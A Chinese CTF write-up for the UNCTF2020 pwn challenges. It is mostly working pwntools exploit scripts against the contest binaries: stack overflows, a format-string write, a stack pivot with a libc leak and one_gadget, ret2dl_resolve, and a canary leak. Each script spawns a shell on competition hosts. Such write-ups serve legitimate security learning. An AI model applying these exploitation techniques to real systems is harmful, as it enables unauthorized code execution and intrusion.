UNCTF2020 Pwn Writeup
队伍:打CTF不靠实力靠运气
作者:wjhwjhn
YLBNB
nc 45.158.33.12 8000,连接上后发现要求用pwntools
于是就用pwntools进行连接,然后就发现了flag
from pwn import *
r = remote("45.158.33.12", 8000)
print r.recvline()
print r.recvline()
print r.recvline()
print r.recvline()
print r.recvline()
Fan
所有题目中“真”简单的题目
IDA分析可得到read函数中发生了栈溢出。
又发现了fantasy函数,该函数可以直接获得shell。
exp:
from pwn import
r = remote("node2.hackingfor.fun", 32326)
r.sendlineafter("input your message", 'a' * 0x30 + 'b' * 0x8 + p64(0x400735))
r.interactive()
do_you_like_me?
和上一题一模一样,只需要改一个偏移,不再赘述
你真的会pwn嘛?
格式化字符串漏洞,利用printf函数来写入
dword_60107C即可。但是这道题目的60107C的地址过短,如果放在最前面会被00截断。所以这道题目我是把地址放在了%10$n的后面,成功利用。
1
2
3
4
| from pwn import *
r = remote("node2.hackingfor.fun", 33292)
r.sendlineafter("Give me your input : ", '111%11\$n' + p64(0x60107C))
r.interactive()
|
keer’s bug
这道题的难点就在于,溢出的堆栈只有0x20个字节,也就是如果不算上rbp,在64位下能够构造的ROP只有0x12个字节。这在于x64下是远远不够的,所以想到堆栈转移。
看一下Checksec
Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| from pwn import *
from LibcSearcher import *
context.log_level = "debug"
r = remote("node2.hackingfor.fun", 30615)
#r = process(r"./keer's_bug")
elf = ELF(r"./keer's_bug")
new_addr = 0x601088
use_addr = 0x4005ED
pop_rdi_addr = 0x400673
pop_rsi_r15_addr = 0x400671
leave_ret_addr = 0x40060d
main_addr = 0x4005B6
#gdb.attach(r)
payload1 = 'a' * 0x50 + p64(new_addr + 0x50) + p64(use_addr)
r.sendlineafter("\n",payload1)
payload2 = p64(new_addr) + p64(pop_rdi_addr) + p64(1) + \
p64(pop_rsi_r15_addr) + p64(elf.got['write']) + p64(0) + p64(elf.plt['write']) + \
p64(main_addr) + 'a' * 16 + \
p64(new_addr) + p64(leave_ret_addr)
r.sendline(payload2)
data = r.recv(6).ljust(8, "\x00")
write_addr = u64(data)
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
one_gadget = libc_base + one[3]
payload3 = 'a' * 0x50 + 'b' * 0x8 + p64(one_gadget)
r.sendlineafter("\n",payload3)
r.interactive()
|
Data块(payload2)的分布
位置 | 数据内容 |
---|
0x70 | New_rbp垃圾数据 |
0x68 | 0x0000000000400673 : pop rdi ; ret |
0x60 | p64(1) //fd |
0x58 | 0x0000000000400671 : pop rsi ; pop r15 ; ret |
0x50 | got[“write”] //给rsi的写入地址数据 // 读取到write的got地址,Libc识别 |
0x48 | p64(0) //给r15的垃圾数据 |
0x40 | plt[“write”] |
0x38 | p64(main) |
0x30 | 垃圾数据 |
0x28 | 垃圾数据 |
0x20 | ebp (addr) 堆栈转移的地址 |
0x18 | leave_retn的地址 |
0x10 | 垃圾数据 |
0x08 | 垃圾数据 |
0x00 | 垃圾数据 |
程序流程
写入payload1
栈溢出
leave的时候把溢出的第一个值给到了rbp
ret,到重用代码块
重用代码块对rbp – 0x50(data + 0x00)的地方写入0x70长度
写入payload2
leave的时候把rsp变成了rbp,堆栈成功转移到rbp – 0x50的地方
pop出rbp – 0x50(data + 0x20)地方的的ebp的值
再次执行leave,把esp变到了(data + 0x70)的地方
pop rbp,把data + 0x70地方的数据取出,也就是new_rbp,这一块我们之后用不到,所以叫做垃圾数据
pop rdi ; ret,rdi = p64(1),让之前read的fd = 0改为1
pop rsi ; pop r15 ; ret,不是我不想,是真的搜不到 pop rsi ; ret
rsi = got[“write”] r15 = p64(0) 垃圾数据
进入plt[“write”],leak got[“write”]
返回到main
写入payload3
栈溢出到one_gadget
重用代码段
2021-01-05补充
这道题目也可以利用栈迁移 + ret2_dlresolve来做,但是本地能打通,远程确打不通。
结合当时比赛时有人提问来看,应该是远程配置存在一定的问题,故这里只放一下exp。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
| from pwn import *
from roputils import *
context.log_level = "debug"
r = process('./keer')
#r = remote('node2.hackingfor.fun', 34698)
rop = ROP_X86_64('./keer')
bss_addr = rop.section('.bss')
pop_rdi_addr = 0x400673
pop_rsi_r15_addr = 0x400671
pivot_addr = bss_addr + 0x400
log.success("pivot_addr: " + hex(pivot_addr))
log.success("bss_addr: " + hex(bss_addr))
buf = rop.fill(0x50) + p64(pivot_addr + 0x50) + p64(0x4005ED)
#gdb.attach(r, "b *0x4005ED")
r.sendafter("Come on!! You can ri keer!!!\n", buf.ljust(0x70, '\x00'))
dl_buf = rop.string('/bin/sh')
dl_buf += rop.fill(0x10, dl_buf)
dl_buf += rop.dl_resolve_data(bss_addr + 0x210, 'system')
payload = p64(pop_rsi_r15_addr) + p64(pivot_addr + 0x100) + p64(0) + p64(rop.plt('read'))
payload += rop.pivot(pivot_addr + 0x100)
payload = payload.ljust(0x50, '\x00') + 'b' * 0x8 + rop.pivot(pivot_addr)
payload2 = p64(pop_rsi_r15_addr) + p64(pivot_addr + 0x200) + p64(0) + p64(rop.plt('read'))
payload2 += p64(pop_rsi_r15_addr) + p64(pivot_addr + 0x300) + p64(0) + p64(rop.plt('read'))
payload2 += rop.pivot(pivot_addr + 0x200)
r.send(payload.ljust(0x70, '\x00'))
r.send(payload2.ljust(0x70, '\x00'))
payload3 = p64(pop_rsi_r15_addr) + p64(rop.got() + 8) + p64(0) + p64(pop_rdi_addr) + p64(1) + p64(rop.plt('write'))
payload3 += rop.pivot(pivot_addr + 0x300)
payload4 = p64(pop_rdi_addr) + p64(0)
payload4 += p64(pop_rsi_r15_addr) + p64(pivot_addr + 0x400) + p64(0) + p64(rop.plt('read'))
payload4 += rop.pivot(pivot_addr + 0x400)
r.send(payload3.ljust(0x70, '\x00'))
r.send(payload4.ljust(0x70, '\x00'))
link_map_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("link_map_addr: " + hex(link_map_addr))
payload5 = p64(pop_rsi_r15_addr) + p64(link_map_addr + 0x1C8) + p64(0) + p64(rop.plt('read'))
payload5 += p64(pop_rsi_r15_addr) + p64(bss_addr + 0x200) + p64(0) + p64(rop.plt('read'))
payload5 += p64(pop_rdi_addr) + p64(bss_addr + 0x200) + rop.dl_resolve_call(bss_addr + 0x210)
r.send(payload5.ljust(0x70, '\x00'))
r.send(p64(0))
r.send(dl_buf.ljust(0x70, '\x00'))
r.interactive()
|
pwngirl
比赛的时候没做出来,今天做出来了。
没想到居然用"+“或者”-“就可以让scanf不读入数据,比赛的时候不知道,就没做出来,下次会做了!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
| from pwn import *
#context.log_level = "debug"
r = process('./pwn')
#r = remote('node2.hackingfor.fun', 34574)
def to_data(x):
num = int("0x" + x,16)
if num > 0x7FFFFFFFFFFFFFFF:
return str(-((num ^ 0xFFFFFFFFFFFFFFFF) + 1))
else:
return str(num)
def to_newhex(x):
return hex(x)[2:].rjust(16, "0")
r.sendlineafter("[Y/N/@]", "@")
r.sendlineafter("question2:", "^")
r.sendafter("name:", "wjh")
r.sendlineafter("have?", "12")
for i in range(10):
r.sendlineafter("girlfriends:", "-1")
#gdb.attach(r)
r.sendlineafter("girlfriends:", "-")
r.sendlineafter("girlfriends:", "-")
r.recvuntil("result:")
recvdata = r.recvuntil("you can change your girlfriend")
number = recvdata.split(" ")[:-1]
for i in number:
n = int(i)
if i[0:1] == '-':
n = n & 0xFFFFFFFF
n16 = hex(n)[2:]
mag = n16[0:3]
if mag == "fff":
continue
if n16[-2:] == "00":
last = n16
else:
first = n16
canary = int(first + last, 16)
r.sendline("0")
r.sendlineafter("which girlfriend do you want to change?", "27")
for i in range(10):
r.sendlineafter("now change:", "-")
shell_addr = 0x400C04
print to_newhex(canary)
r.sendlineafter("now change:", to_data(to_newhex(canary))) #all_canary
r.sendlineafter("now change:", to_data(to_newhex(canary)[0:8] * 2)) #rbp_right & canary_left
r.sendlineafter("now change:", "0") #all_rbp
r.sendlineafter("now change:", "0") #retn_right & rbp_left
r.sendlineafter("now change:", to_data(to_newhex(shell_addr))) #all_retn
r.sendlineafter("now change:", to_data(to_newhex(shell_addr)[0:8] * 2)) #unknown_right & retn_left
for i in range(11):
r.sendlineafter("now change:", "-")
r.interactive()
|
原神
比赛的时候没做出来,主要有以下几点原因。
- 刚开始认为close(1),是直接退出程序的意思,后面发现不是的时候已经来不及了。
- 就算是关闭stdout,我也不知道这种输出方法 ls >&2,可以把stdout的内容输出到stderr
- 被babyheap打击到了信息,刚开始几道pwn题除了签到都有点难。
- 以上原因全部划掉,就是因为菜。
这道题的几个知识点
- 利用int计数器来构造字符串
- 这道题用的是system("$0”),我在这之前只知道 system(“sh”) 或者 system("/bin/sh")
- 利用 >&2 来输出内容
- 这道题目记得后面再开log_level,否则输出时间过长。
- 开头用:
# -*- coding: utf-8 -*-
,可以识别中文
其他好像就没什么难点了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| # -*- coding: utf-8 -*-
from pwn import *
r = process('./GenshinSimulator')
#r = remote("219.152.60.100", 54232)
elf = ELF('./GenshinSimulator')
def draw(x):
cnt = 0
r.sendlineafter("请选择:[1]单抽 [2]十连 [3]结束抽卡", "2" if x == 10 else "1")
r.recvuntil("抽卡结果如下:\n")
for i in range(x):
data = r.recvline()
if not "★★★★★" in data:
if not "★★★★" in data:
if "★★★" in data:
cnt += 1
return cnt
threeStar = 0
while True:
threeStar += draw(10)
if threeStar >= 0x3024 - 10:
break
while True:
threeStar += draw(1)
if threeStar == 0x3024:
break
#gdb.attach(r)
pop_rdi_addr = 0x0000000000400d13
three_star_addr = 0x0000000000602314
context.log_level = "debug"
r.sendlineafter("请选择:[1]单抽 [2]十连 [3]结束抽卡", "3")
print r.recvline()
r.sendlineafter("请选择:[1]向好友炫耀 [2]退出\n", "1")
payload = 'a' * 0x30 + 'b' * 0x8 + p64(pop_rdi_addr) + p64(three_star_addr) + p64(elf.plt['system'])
r.sendlineafter("请输入你的名字:", payload)
r.interactive()
|